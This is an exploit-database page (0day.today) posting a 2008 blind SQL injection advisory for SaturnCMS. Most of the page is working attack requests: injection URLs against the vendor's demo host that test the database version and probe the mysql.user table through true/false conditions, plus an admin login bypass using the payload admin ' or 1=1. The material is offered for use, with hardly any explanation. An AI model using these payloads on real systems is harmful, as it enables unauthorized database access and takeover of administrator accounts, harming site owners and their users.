[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

SaturnCMS (view) Blind SQL Injection Vulnerability

Author
Hussin X
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4196
Category
web applications
Date add
17-11-2008
Platform
unsorted
==================================================
SaturnCMS (view) Blind SQL Injection Vulnerability
==================================================


SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X
___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

Password : inj3ct0r




#  0day.today [2024-07-07]  #